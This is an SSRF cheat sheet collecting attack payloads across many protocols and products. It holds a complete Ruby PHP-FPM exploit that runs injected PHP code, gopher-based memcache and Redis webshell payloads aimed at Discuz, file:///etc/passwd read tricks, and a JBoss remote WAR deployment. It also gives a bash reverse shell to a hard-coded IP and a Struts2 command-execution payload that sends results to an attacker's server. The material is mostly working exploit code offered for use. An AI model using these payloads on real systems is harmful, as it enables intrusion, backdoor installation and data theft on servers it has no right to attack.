SSRF Tips

SSRF PHP function

file_get_contents()
fsockopen()
curl_exec()

URL schema support

SFTP

http://0cx.cc/ssrf.php?url=sftp://evil.com:11111/

evil.com:$ nc -v -l 11111
Connection from [192.168.0.10] port 11111 [tcp/*] accepted (family 2, sport 36136)
SSH-2.0-libssh2_1.4.2

Dict

http://0cx.cc/ssrf.php?dict://attacker:11111/

evil.com:$ nc -v -l 11111
Connection from [192.168.0.10] port 11111 [tcp/*] accepted (family 2, sport 36136)
CLIENT libcurl 7.40.0

gopher

// http://0cx.cc/ssrf.php?url=http://evil.com/gopher.php
<?php
        header('Location: gopher://evil.com:12346/_HI%0AMultiline%0Atest');
?>

evil.com:# nc -v -l 12346
Listening on [0.0.0.0] (family 0, port 12346)
Connection from [192.168.0.10] port 12346 [tcp/*] accepted (family 2, sport 49398)
HI
Multiline
test

TFTP

http://0cx.cc/ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKET

evil.com:# nc -v -u -l 12346
Listening on [0.0.0.0] (family 0, port 12346)
TESTUDPPACKEToctettsize0blksize512timeout6

file

http://0cx.cc/redirect.php?url=file:///etc/passwd

ldap

http://0cx.cc/redirect.php?url=ldap://localhost:11211/%0astats%0aquit

PHP-FPM

PHP-FPM universal SSRF bypass safe_mode/disabled_functions/o exp

#!/usr/bin/ruby
# coding: ASCII-8BIT

# Exploit Title: PHP-FPM universal SSRF bypass safe_mode/disabled_functions/open_basedir/etc
# redefine any php.ini values, not specified in php_admin_value
# SSRF - Server Side Request Forgery
# additional info about techinuque: http://www.slideshare.net/d0znpp/ssrf-attacks-and-sockets-smorgasbord-of-vulnerabilities
# Google Dork: not relevant
# Date: 21/11/12
# Exploit Author: @ONsec_lab http://lab.onsec.ru
# Vendor Homepage: php.net fastcgi.com
# Software Link: php-fpm.org
# Version: all
# Tested on: all
# CVE : not a vuln (bug by design)

require 'socket'
require 'base64'


class FCGIRecord

  class BeginRequest < FCGIRecord
    def initialize( id)
      @id = id
      @type = 1
      @data = "\x00\x01\x00\x00\x00\x00\x00\x00"
    end
  end

  class Params < FCGIRecord
    def initialize( id, params = {})
      @id = id
      @type = 4
      @data = ""
      params.each do |k,v|
        @data << [ k.to_s.length, (1<<31) | v.to_s.length ].pack( "CN")
        @data << k.to_s
        @data << v.to_s
      end
    end
  end


  def initialize( id, type)
    @id = id
    @type = type
    @data = ""
  end

  def to_s
    packet = "\x01%c%c%c%c%c%c\x00" % [
      type,
      id / 256, id % 256,
      data.length / 256, data.length % 256,
      data.length % 8
    ]
    packet << data
    packet << "\x00" * (data.length % 8)
  end

  private
  attr_reader :id, :type, :data
end


if ARGV.count < 3 or ARGV.count > 4
  STDERR.write "Usage: #{$0} ( -u /path/to/socket | addr port ) [ /path/to/any/exists/file.php ] 'some php code to execute'\n"
  exit 1
end


script = ARGV.count == 4 ? ARGV[2] : "/usr/share/php/PEAR.php"
command = Base64.encode64(ARGV.last.strip).strip.gsub( '=', '%3d').gsub( '/', '%2f')

packet = ""
packet << FCGIRecord::BeginRequest.new( 1).to_s
packet << FCGIRecord::Params.new( 1,
                                  "SERVER_NAME" => "localhost",
                                  "REQUEST_METHOD" => "GET",
                                  "SCRIPT_FILENAME" => script,
                                  "PHP_ADMIN_VALUE" => [
                                      "allow_url_fopen=On",
                                      "allow_url_include=On",
                                      "disable_functions=Off",
                                      "open_basedir=Off",
                                      "display_errors=On",
                                      "safe_mode=Off",
                                      "short_open_tag=On",
                                      "auto_prepend_file=data:,%3c%3f%20eval%28base64_decode%28%22#{command}%22%29%29%3f%3e"
                                      ].join( "\n")
                                  ).to_s
packet << FCGIRecord::Params.new( 1).to_s
packet << FCGIRecord.new( 1, 5).to_s

#print packet.split('').map{ |c| '\x%02x' % c[0].ord }.join


fcgisock = ARGV[0] == '-u' ? UNIXSocket.new( ARGV[1]) : TCPSocket.new( ARGV[0], ARGV[1])
fcgisock.write( packet)

puts fcgisock.read

SSRF memcache Getshell

Generate serialize

<?php
    $code=array('global_start'=>'@eval($_REQUEST[\'eval\']);');
    echo serialize($code)."\n".strlen(serialize($code));

Output

a:1:{s:12:"global_start";s:25:"@eval($_REQUEST['eval']);";} //序列化数据
59  //字符串长度

webshell.php

<?php
//gopher可以换成如上其它方式
    header('Location: gopher://[target ip]:11211/_%0d%0aset ssrftest 1 0 147%0d%0aa:2:{s:6:"output";a:1:{s:4:"preg";a:2:{s:6:"search";s:5:"/.*/e";s:7:"replace";s:33:"eval(base64_decode($_POST[ccc]));";}}s:13:"rewritestatus";i:1;}%0d%0a');
?>

back.php

<?php
    header('Location: gopher://192.168.10.12:11211/_%0d%0adelete ssrftest%0d%0a');
?>

example Discuz

open the website

http://bbs.0cx.cc/forum.php?mod=ajax&action=downremoteimg&message=[img]http://myvps/webshell.php?logo.jpg[/img]
http://bbs.0cx.cc/forum.php?mod=ajax&inajax=yes&action=getthreadtypes

clear data

http://bbs.0cx.cc/forum.php?mod=ajax&action=downremoteimg&message=[img]http://myserver/back.php?logo.jpg[/img]

backdoor url

http://bbs.0cx.cc/data/cache/hello.php

SSRF Redis Getshell

Generate serialize

<?php
    $a['output']['preg']['search']['plugins'] = '/.*/e';
    $a['output']['preg']['replace']['plugins'] = '@eval($_POST['c']);';
    $a['rewritestatus']=1;
    $setting = serialize($a);
    echo $setting."\n".strlen($setting);
?>

Output

a:2:{s:6:"output";a:1:{s:4:"preg";a:2:{s:6:"search";a:1:{s:7:"plugins";s:5:"/.*/e";}s:7:"replace";a:1:{s:7:"plugins";s:19:"@eval($_POST["c"]);";}}}s:13:"rewritestatus";i:1;}     //序列化数据
173     //字符串长度

example Discuz

Open website

http://192.168.80.116/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://you-vps-ip/ssrf.php?.jpg[/img]&formhash=818c8f44

Backdoor website

http://192.168.80.116/forum.php?mod=ajax&inajax=yes&action=getthreadtypes

FFmpeg

cat test.jpg

#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://example.org/header.m3u8|file:///etc/passwd
#EXT-X-ENDLIST
subfile

#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://localhost/header.m3u8|subfile,,start,0,end,64,,:///etc/passwdconcat:http://localhost/header.m3u8|subfile,,start,64,end,128,,:///etc/passwdconcat:http://localhost/header.m3u8|subfile,,start,128,end,256,,:///etc/passwdconcat:http://localhost/header.m3u8|subfile,,start,256,end,512,,:///etc/passwd
#EXT-X-ENDLIST

PostgreSQL

Exploit

> SELECT dblink_send_query('host=127.0.0.1 dbname=quit user=\'\nstats\n\​' password=1 port=11211 sslmode=disable','select
version();');

MongoDB

Exploit

> db.copyDatabase("\1\2\3\4\5\6\7",'test','localhost:8000')
> nc -l 8000 | hexdump -C
> db.copyDatabase(“\nstats\nquit”,’test’,’localhost:11211’)

CouchDB

exploit

http://localhost:5984/_users/_all_docs

HTTP/1.1 200 OK
Server: CouchDB/1.2.0 (Erlang OTP/R15B01)
ETag: "BD1WV12007V05JTG4X6YHIHCA"
Date: Tue, 18 Dec 2012 21:39:59 GMT
Content-Type: text/plain; charset=utf-8
Cache-Control: must-revalidate

{"total_rows":1,"offset":0,"rows":[
{"id":"_design/_auth","key":"_design/_auth","value":{"rev":"1-a8cfb993654bcc635f126724d39eb930"}}
]}
Attacker could also send requests from CouchDB server to intranet by using replication function

POST http://couchdb:5984/_replicate
Content-Type: application/json
Accept: application/json

{
    "source" : "recipes",
    "target" : "http://ssrf-me:11211/recipes",
}

Jboss

Jbosss POC

/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://our_public_internet_server/utils/cmd.war

写入shell

http://target.com/ueditor/jsp/getRemoteImage.jsp
POST:
upfile=http://10.0.0.1:8080/jmx-console/HtmlAdaptor?action=invokeOp%26name=jboss.system%3Aservice%3DMainDeployer%26methodIndex=3%26arg0=http%3A%2F%2F远端地址%2Fhtml5.war%23.jpg

http://target.com/ueditor/jsp/getRemoteImage.jsp
POST:
upfile=http://内网IP:8080/html5/023.jsp%23.jpg

reverse shell

bash -i >& /dev/tcp/123.45.67.89/9999 0>&1

Weblogic

gopher.php

<?php
   header("Location:gopher://vps-ip:2333/_test");
?>

vuln website

https://example.com/uddiexplorer/SearchPublicRegistries.jsp
POST:
operator=http://vps-ip/gopher.php&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
vps

> nc -lvv 2333
Connection from xx.xx.xx.xx port 2333 [tcp/snapp] accepted

Local File Read

http://www.xxx.com/redirect.php?url=file:///etc/passwd http://www.xxx.com/redirect.php?url=file:///C:/Windows/win.ini

Bool SSRF

Struts2-016 POC

?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'command'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://SERVER/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}

//修改SERVER为你vps地址,返回结果在access.log中查看

SSRF Proxy

SSRF_Proxy

https://github.com/bcoles/ssrf_proxy

ssrfsocks

https://github.com/iamultra/ssrfsocks